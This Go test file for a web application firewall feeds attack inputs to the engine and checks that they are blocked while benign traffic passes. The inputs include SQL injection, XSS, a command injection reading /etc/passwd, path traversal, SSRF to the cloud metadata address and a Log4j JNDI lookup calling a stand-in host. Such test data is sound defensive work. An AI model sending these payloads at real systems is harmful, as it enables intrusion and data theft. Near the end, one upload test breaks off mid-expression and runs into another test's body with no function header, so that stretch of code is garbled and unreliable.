package wafengine import ( "bytes" "mime/multipart" "net/textproto" "strings" "testing" ) func inspect(query string) Result { return Inspect(&Request{ Method: "GET", Path: "/", RawQuery: query, Header: map[string][]string{"User-Agent": {"Mozilla/5.0"}}, }, Config{}) } func TestSQLInjection(t *testing.T) { payloads := []string{ "id=1%27+OR+%271%27%3D%271", "id=1+UNION+SELECT+1,2,3", "id=1%3B+DROP+TABLE+users", "id=1+AND+SLEEP(5)", "q=1%27%2F**%2FOR%2F**%2F%271%27%3D%271", "q=1+AND+1%3D1", "q=1%27--", "q=information_schema.tables", "q=1%3B+EXEC+xp_cmdshell", } for _, p := range payloads { res := inspect(p) if !res.Blocked { t.Errorf("payload not blocked: %s (score %d, hits %+v)", p, res.Score, res.Hits) } if len(res.Hits) == 0 || res.Hits[0].Module != "sqli" { t.Errorf("no sqli hit for %s: %+v", p, res.Hits) } } } func TestXSS(t *testing.T) { payloads := []string{ "q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "q=%3Cimg+src%3Dx+onerror%3Dalert(1)%3E", "q=javascript%3Aalert(1)", "q=%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%2Fscript%26gt%3B", "q=%253Cscript%253Ealert(1)%253C%252Fscript%253E", "q=%25253Cscript%25253Ealert(1)%25253C%25252Fscript%25253E", "q=%3Csvg+onload%3Dalert(1)%3E", "q=%3Ciframe+src%3Djavascript%3Aalert(1)%3E", } for _, p := range payloads { res := inspect(p) if !res.Blocked { t.Errorf("xss not blocked: %s (score %d, %+v)", p, res.Score, res.Hits) } } } func TestRCEAndLFIAndSSTI(t *testing.T) { cases := map[string]string{ "rce": "cmd=%3Bcat+%2Fetc%2Fpasswd", "lfi": "file=..%2F..%2F..%2Fetc%2Fpasswd", "ssti": "name=%7B%7B7*7%7D%7D", } for module, p := range cases { res := inspect(p) if !res.Blocked { t.Errorf("%s not blocked: %s (score %d, %+v)", module, p, res.Score, res.Hits) } found := false for _, h := range res.Hits { if h.Module == module { found = true } } if !found { t.Errorf("%s module missing: %+v", module, res.Hits) } } } func TestSSRFInQuery(t *testing.T) { res := inspect("url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data") if !res.Blocked { t.Fatalf("ssrf not blocked: %+v", res.Hits) } found := false for _, h := range res.Hits { if h.Module == "ssrf" { found = true } } if !found { t.Fatalf("ssrf module missing: %+v", res.Hits) } } func TestLog4jAndJava(t *testing.T) { for _, p := range []string{ "q=%24%7Bjndi%3Aldap%3A%2F%2Fevil%2Fa%7D", "q=java.lang.Runtime.getRuntime().exec", } { if res := inspect(p); !res.Blocked { t.Errorf("not blocked: %s %+v", p, res.Hits) } } } func TestBenignTrafficIsNotBlocked(t *testing.T) { benign := []string{ "q=hello+world", "q=%E4%BD%A0%E5%A5%BD%E4%B8%96%E7%95%8C", "id=123", "email=user%40example.com", "q=select", "q=order+by+name", "path=%2Fsite%2Findex.html", "price=1%2B1", "q=%7B%22name%22%3A%22union%22%7D", "page=2&size=20", "q=%7B%7B%20user.name%20%7D%7D", } for _, p := range benign { res := inspect(p) if res.Blocked { t.Errorf("false positive: %s score=%d hits=%+v", p, res.Score, res.Hits) } } } func TestStrictModeBlocksLowScores(t *testing.T) { req := &Request{Path: "/", RawQuery: "q=onerror%3Dalert(1)"} normal := Inspect(req, Config{}) if normal.Blocked { t.Fatalf("normal mode should only log: %+v", normal.Hits) } strict := Inspect(req, Config{Strict: true}) if !strict.Blocked { t.Fatalf("strict mode should block: %+v", strict.Hits) } } func TestWhitelistBypass(t *testing.T) { req := &Request{Path: "/", RawQuery: "id=1+UNION+SELECT+1", RemoteIP: "10.1.2.3"} res := Inspect(req, Config{Whitelist: []string{"10.0.0.0/8"}}) if res.Blocked || len(res.Hits) != 0 { t.Fatalf("whitelisted request inspected: %+v", res) } } func TestJSONUnicodeAndBody(t *testing.T) { req := &Request{ Method: "POST", Path: "/api", ContentType: "application/json", Header: map[string][]string{"User-Agent": {"curl/8"}}, Body: []byte(`{"comment":"\u003cscript\u003ealert(1)\u003c/script\u003e"}`), } res := Inspect(req, Config{}) if !res.Blocked { t.Fatalf("json unicode payload not blocked: %+v", res) } } func TestJSONEscapedQuotes(t *testing.T) { req := &Request{ Method: "POST", Path: "/api", ContentType: "application/json", Header: map[string][]string{"User-Agent": {"curl/8"}}, Body: []byte(`{"q":"1\" OR \"1\"=\"1"}`), } res := Inspect(req, Config{}) if !res.Blocked { t.Fatalf("escaped json sqli not blocked: %+v", res) } } func TestMultipartUpload(t *testing.T) { var buf bytes.Buffer w := multipart.NewWriter(&buf) _ = w.WriteField("title", "hello") h := make(textproto.MIMEHeader) h.Set("Content-Disposition", `form-data; name="file"; filename="shell.php.jpg"`) h.Set("Content-Type", "image/jpeg") part, _ := w.CreatePart(h) _, _ = part.Write([]byte("")) _ = w.Close() req := &Request{ Method: "POST", Path: "/upload", ContentType: w.FormDataContentType(), Header: map[string][]string{"User-Agent": {"Mozilla/5.0"}}, Body: buf.Bytes(), } res := Inspect(req, Config{}) if !res.Blocked { t.Fatalf("upload not blocked: %+v", res) } } func TestBenignUploadWithCodeSamples(t *testing.T) { var buf bytes.Buffer w := multipart.NewWriter(&buf) h := make(textproto.MIMEHeader) h.Set("Content-Disposition", `form-data; name="file"; filename="README.md"`) h.Set("Content-Type", "text/markdown") part, _ := w.CreatePart(h) _, _ = part.Write([]byte("Run `cat /etc/passwd` to see the file.\n" res := inspect(long) if !res.Blocked { t.Fatal("payload after long prefix not blocked") } for _, h := range res.Hits { if len(h.Evidence) > 180 { t.Fatalf("evidence not truncated: %d", len(h.Evidence)) } } }